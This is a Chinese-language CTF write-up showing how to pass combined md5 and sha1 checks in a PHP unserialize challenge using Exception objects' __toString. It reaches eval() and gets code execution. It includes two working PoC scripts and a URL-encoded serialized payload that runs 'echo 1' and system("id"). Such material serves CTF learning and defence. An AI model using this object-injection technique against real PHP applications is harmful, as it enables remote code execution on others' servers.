学习反序列化中利用toString绕过md5和sha1

0xGeekCat · 2020-8-14 · 次阅读


今天看到群里的一位师傅分享了一道很有意思的题,于是就仔细研究了一下并做个记录

题目源码

<?php

highlight_file(__FILE__);

class Timeline {
    public $var3;
    function __destruct(){
        var_dump(md5($this->var1));
        var_dump(md5($this->var2));
     👉 if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ){
            eval($this->var1);
        }
    }
}

unserialize($_GET[1]);

?>

同时存在md5和sha1加密,碰撞不太可行,用数组确实可以实现同时绕过md5和sha1,但在eval()执行的参数如果是数组会报Parse error错误,程序结束

绕过md5&sha1

__toString()魔术方法在类被当做字符串执行时触发,其函数返回值为字符串

将含有__toString()的实例赋值给$this->var1$this->var2;由于md5和sha1的参数都是string,会对类进行强转换,若两个类的字符串形式相同且类不同就可以实现绕过

👇枚举一下存在__toString()的类

<?php

$classes = get_declared_classes();

foreach ($classes as $class)
    if (in_array('__toString', get_class_methods($class)))
        echo $class.PHP_EOL;

仅展示部分,可以看到基本都是异常报错类,本文以Exception为例

截屏2020-08-13 下午9.50.20

方法一

先展示一个直观的PoC代码,再对其进行分析

<?php

class Exceptiop{
    protected  $message ;
    protected  $file ;
    public function __construct($mess, $file){
        $this->message = $mess;
        $this->file = $file;
    }
}

class Timeline {
    public $var3;
    function __construct(){
        $evalcode = "echo 1; __HALT_COMPILER();";
        $this->var1 = new Exceptiop($evalcode,"in ");
        $this->var2 = new Exceptiop($evalcode." in","");

    }
    function __destruct(){
        var_dump(md5($this->var1));
        var_dump(md5($this->var2));
        echo "<hr>";
        var_dump(($this->var1));
        var_dump(($this->var2));
        echo "<hr>";
        echo $this->var1. "<br>";
        echo $this->var2;
        if( ($this->var1 !== $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ){
            eval($this->var1);
        }
    }
}

$t = new Timeline();
$t1 = str_replace("Exceptiop","Exception",serialize($t));
$dd = unserialize($t1);

echo urlencode($t1);
?>

截屏2020-08-14 上午9.39.25

先构造Exceptiop类再将进行序列化后生成的字符串修改类名为Exception的原因是因为Exception内部类的构造函数并不获取$file参数,而$file在控制两个类字符串相等时起到至关重要的作用

👇直接使用Exception异常类会产生Fatal error

截屏2020-08-14 上午9.44.43

截屏2020-08-14 上午9.49.37

($evalcode,"in ")($evalcode." in","")必须要这么写,可以通过打印直观了解其原因

截屏2020-08-14 上午10.05.24

Exception异常类作为字符串输出的结果

Exception: echo 1; __HALT_COMPILER(); in in :37 👈 Exception: $mess in $file :$line
Stack trace:
#0 /Library/WebServer/Documents/CTFSkill/PHP/exp.php(37): unserialize('O:8:"Timeline":...')
#1 {main}

这就刚好解释了为什么必须要控制$file,切忌都写成($evalcode,"in ")($evalcode." in",""),这样var1var2就都相等了

$evalcode中必须要用到__HALT_COMPILER();,其作用是让编译器执行到这之后就不再去解析后面的部分;如果不使用的话,在之后eval()中就会发生Parse error

截屏2020-08-14 上午10.12.52

之后将PoC生产的POP链赋值给参数1即可

?1=O%3A8%3A"Timeline"%3A3%3A{s%3A4%3A"var3"%3BN%3Bs%3A4%3A"var1"%3BO%3A9%3A"Exception"%3A2%3A{s%3A10%3A"%00*%00message"%3Bs%3A26%3A"echo+1%3B+__HALT_COMPILER()%3B"%3Bs%3A7%3A"%00*%00file"%3Bs%3A3%3A"in+"%3B}s%3A4%3A"var2"%3BO%3A9%3A"Exception"%3A2%3A{s%3A10%3A"%00*%00message"%3Bs%3A29%3A"echo+1%3B+__HALT_COMPILER()%3B+in"%3Bs%3A7%3A"%00*%00file"%3Bs%3A0%3A""%3B}}

截屏2020-08-14 上午10.15.37

方法二

这个方法比第一种灵活,构造PoC

<?php

class Timeline {
    public $var3;
    function __destruct(){
        var_dump(md5($this->var1));
        var_dump(md5($this->var2));
        if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
            eval($this->var1);
        }
    }
}

$ex1 = new Exception('system("id");?>');$ex2 = new Exception('system("id");?>',1); 👈 同一行,不然Exception中的行号不一样
$wtf = new Timeline();
$wtf->var1 = $ex1;
$wtf->var2 = $ex2;

echo urlencode(serialize($wtf));

有了上一个方法的学习,这种方法就很好理解

截屏2020-08-14 上午10.29.40

目前可能存有的疑问应该就是?>的闭合标签,可以查看手册有一个清晰的认识

代码不能包含打开/关闭 PHP tags。比如, ‘echo “Hi!”;’ 不能这样传入: ‘‘。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 *’echo “In PHP mode!”; ?>In HTML mode!<?php echo “Back in PHP mode!”;’*。

除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 ‘echo “Hi!”‘ 会导致一个 parse error,而 ‘echo “Hi!”;’ 则会正常运行。

return 语句会立即中止当前字符串的执行。

代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留